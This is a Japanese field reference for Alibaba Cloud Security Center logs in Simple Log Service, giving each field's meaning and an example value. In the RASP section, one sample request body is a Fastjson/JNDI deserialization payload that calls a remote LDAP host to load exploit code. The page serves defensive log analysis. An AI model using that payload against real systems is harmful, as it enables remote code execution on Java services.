Simple Log Service:ログカテゴリとフィールド

フィールド

説明

例

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

src_ip

サーバーへのログインに使用された送信元 IP アドレス。

221.11.XX.XX

dst_port

ログインに使用されたポート。

22

login_type

ログインタイプ。値には以下が含まれますが、これらに限定されません：SSHLOGIN (SSH)；RDPLOGIN (リモートデスクトップ)；IPCLOGIN (IPC 接続)。

SSH

username

ログインに使用されたユーザー名。

admin

login_count

ログイン回数。1 分以内の繰り返しログインは 1 つのエントリにマージされます。たとえば、login_count が 3 の場合、過去 1 分間に 3 回のログインが発生したことを示します。

3

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

auth_type

認証タイプ（文字列型）。

• 1: パスワード認証。

• 2: 鍵ベース認証。

1

success

ログインが成功したかどうかを示します。値：true (成功)；false (失敗)。

true

pid

認証プロセスの PID。

12345

src_port

ログインの送信元ポート番号（文字列型）。

43006

ssh_fingerprint

ログインに使用された SSH 鍵の指紋（文字列型）。鍵ベース認証を使用する場合、このフィールドには対応する鍵の指紋が記録されます。パスワード認証を使用する場合、このフィールドは空になります。

SHA256:xxxxxxxxxxxx

フィールド

説明

例

cmd_chain

プロセスチェーン。

[ {"9883":"bash -c kill -0 -- -'6274'"} ... ]

cmd_chain_index

プロセスチェーンインデックス。このインデックスを使用して対応するプロセスチェーンを検索します。

B184

container_hostname

コンテナ内のホスト名。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナ ID。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

コンテナイメージ ID。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

コンテナイメージ名。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナ名。

nginx-ingress-****

container_pid

コンテナ内のプロセス ID。

0

net_connect_dir

ネットワーク接続方向。値：in (インバウンド)；out (アウトバウンド)。

in

dst_ip

接続受信側の IP アドレス。net_connect_dir が out の場合、これはピアホストです。in の場合、これはローカルホストです。

192.168.XX.XX

dst_port

接続受信側のポート。

443

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

parent_proc_name

親プロセスのファイル名。

/usr/bin/bash

pid

プロセス ID。

14275

ppid

親プロセス ID。

14268

proc_name

プロセス名。

nginx

proc_path

プロセスパス。

/usr/local/nginx/sbin/nginx

proc_start_time

プロセスの起動時間。

N/A

connection_type

プロトコル。値：tcp；raw (RAW ソケット)。

tcp

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

src_ip

送信元 IP アドレス。

100.127.XX.XX

src_port

送信元ポート。

41897

srv_comm

親プロセスの親プロセスに関連付けられたコマンド名。

containerd-shim

status

ネットワーク接続ステータス。値：1 (Closed)；2 (Listening)；3 (SYN sent)；4 (SYN received)；5 (Established)；6 (Close wait)；7 (Closing)；8 (FIN wait 1)；9 (FIN wait 2)；10 (Time wait)；11 (TCB deleted)。

5

type

リアルタイムネットワーク接続のタイプ。値：connect (アクティブ TCP 接続開始)；accept (TCP 接続受信)；listen (ポートがリッスン中)。

listen

uid

プロセスユーザーの ID。

101

username

プロセスのユーザー名。

root

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmd_chain

プロセスチェーン。

[ {"9883":"bash -c kill -0 -- -'6274'"} ... ]

cmd_chain_index

プロセスチェーンインデックス。このインデックスを使用して対応するプロセスチェーンを検索します。

B184

cmd_index

コマンドライン内の各パラメーターのインデックス。各ペアの値は、パラメーターの開始位置と終了位置を示します。

0,3,5,8

cmdline

プロセスを起動するために使用された完全なコマンドライン。

ipset list KUBE-6-CLUSTER-IP

comm

プロセスに関連付けられたコマンド名。

N/A

container_hostname

コンテナ内のホスト名。

nginx-ingress-controller-765f67fd4d-****

container_id

コンテナ ID。

4181de1e2b20c3397f1c409266dbd5631d1bc5be7af85246b0d****

container_image_id

コンテナイメージ ID。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-controller@sha256:5f281994d9e71a1b1a087365271024991c5b0d0543c48f0****

container_image_name

コンテナイメージ名。

registry-cn-beijing-vpc.ack.aliyuncs.com/acs/aliyun-ingress-****

container_name

コンテナ名。

nginx-ingress-****

container_pid

コンテナ内のプロセス ID。

0

cwd

プロセスの作業ディレクトリ。

N/A

proc_name

プロセスのファイル名。

ipset

proc_path

プロセスファイルの完全なパス。

/usr/sbin/ipset

gid

プロセスグループ ID。

0

groupname

ユーザーグループ名。

group1

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

parent_cmd_line

親プロセスのコマンドライン。

/usr/local/bin/kube-proxy --config=/var/lib/kube-proxy/config.conf --hostname-override=cn-beijing.192.168.XX.XX

parent_proc_name

親プロセスのファイル名。

kube-proxy

parent_proc_path

親プロセスファイルの完全なパス。

/usr/local/bin/kube-proxy

pid

プロセス ID。

14275

ppid

親プロセス ID。

14268

proc_start_time

プロセスの起動時間。

2024-08-01 16:45:40

parent_proc_start_time

親プロセスの起動時刻。

2024-07-12 19:45:19

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

srv_cmd

親プロセスの親プロセスのコマンドライン。

/usr/bin/containerd

tty

ログイン端末。N/A はアカウントが端末にログインしたことがないことを示します。

N/A

uid

ユーザー ID。

123

username

プロセスのユーザー名。

root

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

ブルートフォース攻撃を受けているサーバーの IP アドレス。

192.168.XX.XX

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

uuid

ブルートフォース攻撃を受けているサーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12*****

login_count

ログイン失敗試行回数。1 分以内の繰り返し試行は 1 つのエントリにマージされます。たとえば、login_count が 3 の場合、過去 1 分間に 3 回の試行が発生したことを示します。

3

src_ip

ログイン試行の送信元 IP アドレス。

47.92.XX.XX

dst_port

ログインポート。

22

login_type

ログインタイプ。値：SSHLOGIN (SSH ログイン)；RDPLOGIN (リモートデスクトップログイン)；IPCLOGIN (IPC 接続ログイン)；SQLSERVER (SQL Server ログイン失敗)。

SSH

username

ログインユーザー名。

user

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

account_expire

アカウントの有効期限。値 never はアカウントが永続的に有効であることを意味します。

never

domain

アカウントが属するドメインまたはディレクトリサービス。N/A はアカウントがどのドメインにも属していないことを意味します。

N/A

groups

アカウントが属するグループ。N/A はアカウントがどのグループにも属していないことを意味します。

["nscd"]

home_dir

ホームディレクトリ。システム内でのファイルの保存および管理のデフォルトの場所。

/Users/abc

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

last_chg

パスワードが最後に変更された日付。

2022-11-29

last_logon

最終ログインの日時。N/A はアカウントがログインに使用されたことがないことを意味します。

2023-08-18 09:21:21

login_ip

最終ログインのリモート IP アドレス。N/A はアカウントがログインに使用されたことがないことを意味します。

192.168.XX.XX

passwd_expire

パスワードの有効期限。値 never はパスワードが永続的に有効であることを意味します。

2024-08-24

perm

アカウントが root 権限を持っているかどうか。値：0 (root 権限なし)；1 (root 権限あり)。

0

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

shell

Linux シェル。

/sbin/nologin

status

ユーザーアカウントのステータス。値：0 (ログイン禁止)；1 (ログイン許可)。

0

tty

ログイン端末。N/A はアカウントが端末にログインしたことがないことを示します。

N/A

username

ユーザー名。

nscd

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

warn_time

パスワード有効期限のリマインダー日付。値 never はリマインダーが設定されていないことを意味します。

2024-08-20

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

net_connect_dir

ネットワーク接続方向。値：in (インバウンド)；out (アウトバウンド)。注：ステータス 2 のログのみ配信されるため、net_connect_dir は常に in になります。

in

dst_ip

ピア IP アドレス（通常は空）。注：ステータス 2 のログのみ配信されるため、dst_ip は常に空（ピア IP）になります。src_ip はローカル IP になります。

dst_port

接続受信側のポート。

443

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

pid

プロセス ID。

682

proc_name

プロセス名。

sshd

connection_type

プロトコル。値：tcp4 (IPv4 上の TCP)；tcp6 (IPv6 上の TCP)。

tcp4

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

src_ip

ローカル IP アドレス。

100.127.XX.XX

src_port

リッスンポート。

41897

status

値は 2 で、ポートがリッスン中であることを示します。関連する src_ip/src_port はリッスンアドレスです。その他のステータスは配信されません。その他の可能性のある値（現在配信されていないもの）：1 (Closed)；3 (SYN sent)；4 (SYN received)；5 (Established)；6 (Close wait)；7 (Closing)；8 (FIN wait 1)；9 (FIN wait 2)；10 (Time wait)；11 (TCB deleted)。

5

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmdline

プロセスを起動するために使用された完全なコマンドライン。

/usr/local/share/assist-daemon/assist_daemon

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

md5

バイナリファイルの MD5 ハッシュ。1 MB を超えるファイルは計算されません。

1086e731640751c9802c19a7f53a64f5

proc_name

プロセスのファイル名。

assist_daemon

proc_path

プロセスファイルの完全なパス。

/usr/local/share/assist-daemon/assist_daemon

pid

プロセス ID。

1692

pname

親プロセスのファイル名。

systemd

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

proc_start_time

プロセス起動時刻（組み込みフィールド）。

2023-08-18 20:00:12

uid

プロセスユーザー ID。

101

username

プロセスのユーザー名。

root

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

domain

DNS リクエストに対応するドメイン名。

example.aliyundoc.com

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

host_ip

DNS リクエストを開始したサーバーの IP アドレス。

192.168.XX.XX

pid

DNS リクエストを開始したプロセスの ID。

3544

ppid

DNS リクエストを開始したプロセスの親プロセス ID。

3408

cmd_chain

DNS リクエストを開始したプロセスチェーン。

"3544":"\"C:\\Program Files (x86)\\Alibaba\\Aegis\\AliDetect\\AliDetect.exe\""

cmdline

DNS リクエストを開始したコマンドライン。

C:\Program Files (x86)\Alibaba\Aegis\AliDetect\AliDetect.exe

proc_path

DNS リクエストを開始したプロセスのパス。

C:/Program Files (x86)/Alibaba/Aegis/AliDetect/AliDetect.exe

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

time

DNS リクエストイベントがキャプチャされた時刻。この時刻は通常、DNS リクエストの実際の発生時刻と一致します。

2023-08-17 20:05:04

uuid

DNS リクエストを開始したサーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

host_ip

サーバーの IP アドレス。

192.168.XX.XX

agent_version

クライアントバージョン。

aegis_11_91

last_login

前回ログインのタイムスタンプ（ミリ秒）。

1716444387617

platform

オペレーティングシステムタイプ。値：windows；linux。

linux

region_id

サーバーが配置されているリージョン ID。

cn-beijing

status

クライアントステータス。値：online；offline。

online

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

vul_alias_name

脆弱性エイリアス。

CESA-2023:1335: openssl セキュリティ更新

risk_level

リスクレベル。値：asap (高)；later (中)；nntf (低)。

later

extend_content

JSON 形式の拡張脆弱性情報。

{"cveList":["CVE-2023-0286"],"necessity":{...},"os":"centos",...}

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

internet_ip

アセットのパブリック IP アドレス。

39.104.XX.XX

intranet_ip

アセットのプライベート IP アドレス。

192.168.XX.XX

instance_name

ホスト名。

hhht-linux-***

vul_name

脆弱性名。

centos:7:cesa-2023:1335

operation

脆弱性に対して実行されたアクション。値：new (新規)；verify (検証)；fix (修正)。

new

status

脆弱性ステータス。値：1 (未修正)；2 (修正失敗)；3 (ロールバック失敗)；4 (修正中)；5 (ロールバック中)；6 (検証中)；7 (修正済み)；8 (修正済み、再起動が必要)；9 (ロールバック済み)；10 (無視)；11 (ロールバック済み、再起動が必要)；12 (存在しない)；13 (無効)。

1

tag

脆弱性タグ。値：oval (Linux ソフトウェアの脆弱性)；system (Windows システムの脆弱性)；app (アプリケーションの脆弱性)。その他の脆弱性タイプのタグはランダムな文字列です。

oval

type

脆弱性タイプ。値：sys (Windows システムの脆弱性)；cve (Linux ソフトウェアの脆弱性)；emg (緊急脆弱性)。

sys

uuid

サーバーの UUID。

ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

check_item_name

チェック項目名。

パスワード変更の最小間隔を設定

check_item_level

ベースラインチェックの重大度レベル。値：high (高)；medium (中)；low (低)。

medium

check_type

チェック項目のタイプ。

ID 認証

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

risk_level

リスクレベル。値：high (高)；medium (中)；low (低)。

medium

operation

操作。値：new (新規)；verity (検証)。

new

risk_name

リスク項目名。

パスワードポリシーのコンプライアンスチェック

sas_group_name

Security Center 内でリスク項目が検出されたサーバーのアセットグループ。

default

status

ステータス情報。2 種類のステータスコードが適用されます。ベースラインチェックステータス：1 (失敗)；2 (検証中)；6 (無視)；7 (修正中)。処置ステータス：1 (未修正)；2 (修正失敗)；3 (ロールバック失敗)；4 (修正中)；5 (ロールバック中)；6 (検証中)；7 (修正済み)；8 (修正済み、再起動が必要)；9 (ロールバック済み)；10 (無視)；11 (ロールバック済み、再起動が必要)；12 (存在しない)；13 (無効)。

1

sub_type_alias_name

サブタイプのエイリアス。

国際的なセキュリティベストプラクティス - Ubuntu 16/18/20/22 セキュリティベースラインチェック

sub_type_name

ベースラインサブタイプ名。有効な値については、「ベースラインタイプおよびサブタイプの一覧」をご参照ください。

hc_ubuntu16_cis_rules

type_alias_name

タイプのエイリアス。

国際的なセキュリティベストプラクティス

type_name

ベースラインタイプ。有効な値については、「ベースラインタイプおよびサブタイプの一覧」をご参照ください。

cis

uuid

リスク項目が検出されたサーバーの UUID。

1ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

data_source

データソース。値：aegis_suspicious_event (ホスト異常)；aegis_suspicious_file_v2 (Webshell)；aegis_login_log (異常ログイン)；honeypot (クラウドハニーポットアラートイベント)；object_scan (ファイル検出異常)；security_event (Security Center 異常)；sas_ak_leak (AK 漏洩イベント)。

aegis_login_log

detail

アラートの詳細コンテキストを提供する構造化オブジェクト (JSON)。フィールドはアラートタイプによって異なります。alert_reason フィールドの一般的な値：reason1 (IP が通常のログイン場所ではない)；reason2 (API 呼び出しが失敗した)；reason3 (IP が通常のログイン場所ではなく、かつ API 呼び出しが失敗した)。

{"loginSourceIp":"221.11.XX.XX","loginDestinationPort":22,"loginUser":"root",...}

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

internet_ip

アセットのパブリック IP アドレス。

39.104.XX.XX

intranet_ip

アセットのプライベート IP アドレス。

192.168.XX.XX

level

アラートイベントのリスクレベル。値：serious (緊急)；suspicious (疑わしい)；remind (リマインダー)。

suspicious

name

アラート名。

異常ログイン - ECS 異常アカウントログイン

operation

操作。値：new (新規)；dealing (処理中)；update (更新済み)。

new

status

アラートステータス。値：1 (未処理、新規アラートのデフォルト)；2 (無視、[無視] アクションを実行後)；8 (ホワイトリスト登録、ホワイトリストに追加後)；16 (処理中、プロセス終了/ファイル隔離/ホワイトリスト登録アクション実行中)；32 (処理済み、手動処置またはプロセス終了/ファイル隔離アクション完了後)；64 (期限切れ、30 日以内にアクションが実行されなかった場合)；513 (自動ブロック、Security Center の精密防御機能によって自動的にブロックされ、手動処置不要)。

1

unique_info

アラートのユニーク識別子。

2536dd765f804916a1fa3b9516b5****

uuid

アラートが生成されたサーバーの UUID。

ad66133a-dc82-4e5e-9659-a49e3****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

suspicious_event_id

アラートイベント ID。

650226318

handle_time

操作に対応するタイムスタンプ。

1765272845

alert_first_time

アラートが最初に表示されたタイムスタンプ。

1764226915

alert_last_time

アラートが最後に表示されたタイムスタンプ。

1765273425

strict_mode

アラートが厳格モードかどうかを示します。値：true；false。

true

user_id

アカウント ID。

1358******3357

フィールド

説明

例

check_id

チェック項目 ID。ListCheckResult 操作を呼び出すことでこの ID を取得できます。

11

check_item_name

チェック項目名。

オリジンフェッチ構成

instance_id

インスタンス ID。

i-2zeg4zldn8zypsfg****

instance_name

インスタンス名。

lsm

instance_result

リスクの影響（JSON 文字列）。

{"Checks":[{}],"Columns":[{"key":"RegionIdShow","search":true,...}]}

instance_sub_type

インスタンスサブタイプ。値は instance_type に依存します。ECS の場合：INSTANCE、DISK、SECURITY_GROUP。ACR の場合：REPOSITORY_ENTERPRISE、REPOSITORY_PERSON。RAM の場合：ALIAS、USER、POLICY、GROUP。WAF の場合：DOMAIN。その他のタイプ：INSTANCE。

INSTANCE

instance_type

インスタンスタイプ。値：ECS (Elastic Compute Service)；SLB (Server Load Balancer)；RDS (ApsaraDB RDS)；MONGODB (ApsaraDB for MongoDB)；KVSTORE (ApsaraDB for Redis)；ACR (Container Registry)；CSK；VPC (Virtual Private Cloud)；ACTIONTRAIL (ActionTrail)；CDN (Content Delivery Network)；CAS (Certificate Management Service)；RDC (Apsara DevOps)；RAM (Resource Access Management)；DDOS (Anti-DDoS)；WAF (Web Application Firewall)；OSS (Object Storage Service)；POLARDB (PolarDB)；POSTGRESQL (ApsaraDB RDS for PostgreSQL)；MSE (Microservices Engine)；NAS (File Storage NAS)；SDDP (Sensitive Data Discovery and Protection)；EIP (Elastic IP Address)。

ECS

region_id

インスタンスが配置されているリージョン ID。

cn-hangzhou

requirement_id

要件 ID。ListCheckStandard 操作を呼び出すことでこの ID を取得できます。

5

risk_level

リスクレベル。値：LOW；MEDIUM；HIGH。

MEDIUM

section_id

セクション ID。ListCheckResult 操作を呼び出すことでこの ID を取得できます。

1

standard_id

標準 ID。ListCheckStandard 操作を呼び出すことでこの ID を取得できます。

1

status

チェック項目ステータス。値：NOT_CHECK (未チェック)；CHECKING (チェック中)；PASS (合格)；NOT_PASS (不合格)；WHITELIST (ホワイトリスト登録)。

PASS

vendor

クラウドサービスプロバイダー。固定値：ALIYUN。

ALIYUN

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

cmd

攻撃されたプロセスのコマンドライン。

nginx: master process nginx

cur_time

攻撃イベントが発生した時刻。

2023-09-14 09:21:59

decode_payload

HEX から文字に変換されたペイロード。

POST /Services/FileService/UserFiles/

dst_ip

攻撃されたアセットの IP アドレス。

172.16.XX.XX

dst_port

攻撃されたアセットのポート。

80

func

インターセプトイベントのタイプ。値：payload (悪意のあるペイロードのインターセプト、悪意のあるデータまたはコマンドを検出した際にトリガー)；tuple (悪意のある IP のインターセプト、悪意のある IP アクセスを検出した際にトリガー)。

payload

rule_type

インターセプトイベントの具体的なルールタイプ。値：alinet_payload (Security Center で定義されたペイロードイベント防御ルール)；alinet_tuple (Security Center で定義されたタプルイベント防御ルール)。

alinet_payload

instance_id

攻撃されたアセットのインスタンス ID。

i-2zeg4zldn8zypsfg****

internet_ip

攻撃されたアセットのパブリック IP アドレス。

39.104.XX.XX

intranet_ip

攻撃されたアセットのプライベート IP アドレス。

192.168.XX.XX

final_action

防御アクション。固定値：block (ブロック)。

block

payload

HEX 形式のペイロード。

504f5354202f20485454502f312e310d0a436f6e74656e742d547970653a20746578742f706c61696e0d0a557365722d4167656e743a20****

pid

攻撃されたプロセスの ID。

7107

platform

攻撃されたアセットのシステムタイプ。値：windows；linux。

linux

proc_path

攻撃されたプロセスのパス。

/usr/sbin/nginx

sas_group_name

Security Center 内のサーバーのアセットグループ。

default

src_ip

攻撃の送信元 IP アドレス。

106.11.XX.XX

src_port

攻撃の送信元ポート。

29575

uuid

サーバーの UUID。

5d83b26b-b7ca-4a0a-9267-12****

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

app_dir

アプリケーションが配置されているディレクトリ。

/usr/local/aegis/rasp/apps/1111

app_id

アプリケーション ID。

6492a391fc9b4e2aad94****

app_name

アプリケーション名。

test

confidence_level

検出アルゴリズムの信頼度。値：high；medium；low。

low

request_body

リクエストボディ。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://172.220.XX.XX:1389/Exploit","autoCommit":true}

request_content_length

リクエストボディの長さ。

112

data

フックポイントパラメーター。

{"cmd":"bash -c kill -0 -- -'31098' "}

headers

リクエストヘッダー。

{"content-length":"112","referer":"http://120.26.XX.XX:8080/demo/Serial",...}

hostname

ホストまたはネットワークデバイスの名前。

testhostname

host_ip

ホストのプライベート IP アドレス。

172.16.XX.XX

is_cliped

長さ制限を超えたためログが切り捨てられたかどうかを示します。値：true (切り捨てあり)；false (切り捨てなし)。

false

jdk_version

JDK バージョン。

1.8.0_292

message

アラートの説明。

Unsafe class serial.

request_method

HTTP リクエストメソッド。

Post

platform

オペレーティングシステムタイプ。

Linux

arch

オペレーティングシステムアーキテクチャー。

amd64

kernel_version

オペレーティングシステムカーネルバージョン。

3.10.0-1160.59.1.el7.x86_64

param

リクエストパラメーター。一般的な形式には GET パラメーターおよび application/x-www-form-urlencoded が含まれます。

{"url":["http://127.0.0.1.xip.io"]}

payload

有効な攻撃ペイロード。

bash -c kill -0 -- -'31098'

payload_length

攻撃ペイロードの長さ。

27

rasp_id

RASP プローブのユニーク ID。

fa00223c8420e256c0c98ca0bd0d****

rasp_version

RASP プローブバージョン。

0.8.5

src_ip

リクエスターの IP アドレス。

172.0.XX.XX

final_action

アラート処理結果。値：block (ブロック)；monitor (監視)。

block

rule_action

ルールで指定されたアラート処理方法。値：block；monitor。

block

risk_level

リスクレベル。値：high；medium；low。

high

stacktrace

スタックトレース。

[java.io.FileInputStream.<init>(FileInputStream.java:123), ...]

time

アラートがトリガーされた時刻。

2023-10-09 15:19:15

timestamp

アラートがトリガーされたタイムスタンプ（ミリ秒）。

1696835955070

type

攻撃タイプ。値：attach (悪意のあるアタッチ)；beans (悪意のある beans バインディング)；classloader (悪意のあるクラスローディング)；dangerous_protocol (危険なプロトコルの使用)；dns (悪意のある DNS クエリ)；engine (エンジンインジェクション)；expression (式インジェクション)；file (悪意のあるファイル読み取り/書き込み)；file_delete (任意のファイル削除)；file_list (ディレクトリトラバーサル)；file_read (任意のファイル読み取り)；file_upload (悪意のあるファイルアップロード)；jndi (JNDI インジェクション)；jni (JNI インジェクション)；jstl (JSTL による任意のファイルインクルード)；memory_shell (インメモリ Webshell インジェクション)；rce (リモートコード実行)；read_object (逆シリアル化攻撃)；reflect (悪意のあるリフレクション)；sql (SQL インジェクション)；ssrf (悪意のあるアウトバウンド接続)；thread_inject (スレッドインジェクション)；xxe (XXE 攻撃)。

rce

url

リクエスト URL。

http://127.0.0.1:999/xxx

rasp_attack_uuid

攻撃イベントの UUID。

18823b23-7ad4-47c0-b5ac-e5f036a2****

uuid

ホスト UUID。

23f7ca61-e271-4a8e-bf5f-165596a16****

internet_ip

ホストのパブリック IP アドレス。

1.2.XX.XX

intranet_ip

ホストのプライベート IP アドレス。

172.16.XX.XX

sas_group_name

Security Center サーバーグループ名。

Group 1

instance_id

ホストインスタンス ID。

i-wz995eivg28f1m**

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

フィールド

説明

例

bucket_name

OSS バケット名。

***-test

event_id

アラート ID。

802210

event_name

アラート名。

マイニングプログラム

md5

ファイルの MD5 ハッシュ。

6bc2bc******53d409b1

sha256

ファイルの SHA256 ハッシュ。

f038f9525******7772981e87f85

result

検出結果。値：0 (ファイルは安全)；1 (悪意のあるファイルを検出)。

0

file_path

ファイルパス。

test.zip/bin_test

ETag

OSS ファイル識別子。

6BC2B******853D409B1

risk_level

リスクレベル。値：serious (緊急)；suspicious (疑わしい)；remind (リマインダー)。

remind

source

検出シナリオ。値：OSS (Security Center コンソール経由で OSS バケット内のファイルを検出)；API (Java または Python SDK 経由で悪意のあるファイルを検出)。

OSS

parent_md5

親ファイルまたはアーカイブファイルの MD5 ハッシュ。

3d0f8045bb9******

parent_sha256

親ファイルまたはアーカイブファイルの SHA256 ハッシュ。

69b643d6******a3fb859fa

parent_file_path

親ファイルまたはアーカイブファイルの名前。

test.zip

start_time

開始タイムスタンプ（秒）。イベント発生時刻を示すためにも使用されます。

1719472214

compress_file_number

アーカイブ内のサブファイルのシーケンス番号（形式：[現在]/[合計]）。たとえば、1/10 はこのファイルがアーカイブ内の 10 個中 1 個目のファイルであることを意味します。

1/10

フィールド

説明

例

start_time

イベントの最新発生時刻（秒）。

1718678414

uuid

クライアントの UUID。

5d83b26b-b**a-4**a-9267-12****

file_path

ファイルパス。

/etc/passwd

proc_path

プロセスパス。

/usr/bin/bash

rule_id

一致したルールの ID。

123

rule_name

ルール名。

file_test_rule

cmdline

コマンドライン。

bash /opt/a

operation

ファイルに対して実行された操作。

READ

risk_level

アラートレベル。

2

pid

プロセス ID。

45324

proc_permission

プロセス権限。

rwxrwxrwx

instance_id

インスタンス ID。

i-wz995eivg2****

internet_ip

パブリック IP アドレス。

192.0.2.1

intranet_ip

プライベート IP アドレス。

172.16.0.1

instance_name

インスタンス名。

aegis-test

platform

オペレーティングシステムタイプ。

Linux

タイプ名

サブタイプ名

説明

hc_exploit

hc_exploit_redis

ハイリスク脅威エクスプロイト：Redis の不正アクセス

hc_exploit_activemq

ハイリスク脅威エクスプロイト：ActiveMQ の不正アクセス

hc_exploit_couchdb

ハイリスク脅威エクスプロイト：CouchDB の不正アクセス

hc_exploit_docker

ハイリスク脅威エクスプロイト：Docker の不正アクセス

hc_exploit_es

ハイリスク脅威エクスプロイト：Elasticsearch の不正アクセス

hc_exploit_hadoop

ハイリスク脅威エクスプロイト：Hadoop の不正アクセス

hc_exploit_jboss

ハイリスク脅威エクスプロイト：JBoss の不正アクセス

hc_exploit_jenkins

ハイリスク脅威エクスプロイト：Jenkins の不正アクセス

hc_exploit_k8s_api

ハイリスク脅威エクスプロイト：Kubernetes API サーバーの不正アクセス

hc_exploit_ldap

ハイリスク脅威エクスプロイト：LDAP (Windows) の不正アクセス

hc_exploit_ldap_linux

ハイリスク脅威エクスプロイト：OpenLDAP (Linux) の不正アクセス

hc_exploit_memcache

ハイリスク脅威エクスプロイト：Memcached の不正アクセス

hc_exploit_mongo

ハイリスク脅威エクスプロイト：MongoDB の不正アクセス

hc_exploit_pgsql

ハイリスク脅威エクスプロイト：PostgreSQL ベースラインの不正アクセス

hc_exploit_rabbitmq

ハイリスク脅威エクスプロイト：RabbitMQ の不正アクセス

hc_exploit_rsync

ハイリスク脅威エクスプロイト：rsync の不正アクセス

hc_exploit_tomcat

ハイリスク脅威エクスプロイト：Apache Tomcat AJP ファイルインクルージョン脆弱性

hc_exploit_zookeeper

ハイリスク脅威エクスプロイト：ZooKeeper の不正アクセス

hc_container

hc_docker

Alibaba Cloud 標準：Docker セキュリティベースラインチェック

hc_middleware_ack_master

国際的なセキュリティベストプラクティス：Kubernetes (ACK) マスターノードセキュリティベースラインチェック

hc_middleware_ack_node

国際的なセキュリティベストプラクティス：Kubernetes (ACK) ノードセキュリティベースラインチェック

hc_middleware_k8s

Alibaba Cloud 標準：Kubernetes マスターセキュリティベースラインチェック

hc_middleware_k8s_node

Alibaba Cloud 標準：Kubernetes ノードセキュリティベースラインチェック

cis

hc_suse 15_djbh

MLPS レベル 3：SUSE 15 コンプライアンスベースラインチェック

hc_aliyun_linux3_djbh_l3

MLPS レベル 3：Alibaba Cloud Linux 3 コンプライアンスベースラインチェック

hc_aliyun_linux_djbh_l3

MLPS レベル 3：Alibaba Cloud Linux/Aliyun Linux 2 コンプライアンスベースラインチェック

hc_bind_djbh

MLPS レベル 3：Bind コンプライアンスベースラインチェック

hc_centos 6_djbh_l3

MLPS レベル 3：CentOS Linux 6 コンプライアンスベースラインチェック

hc_centos 7_djbh_l3

MLPS レベル 3：CentOS Linux 7 コンプライアンスベースラインチェック

hc_centos 8_djbh_l3

MLPS レベル 3：CentOS Linux 8 コンプライアンスベースラインチェック

hc_debian_djbh_l3

MLPS レベル 3：Debian Linux 8/9/10 コンプライアンスベースラインチェック

hc_iis_djbh

MLPS レベル 3：IIS コンプライアンスベースラインチェック

hc_informix_djbh

MLPS レベル 3：Informix コンプライアンスベースラインチェック

hc_jboss_djbh

MLPS レベル 3：JBoss コンプライアンスベースラインチェック

hc_mongo_djbh

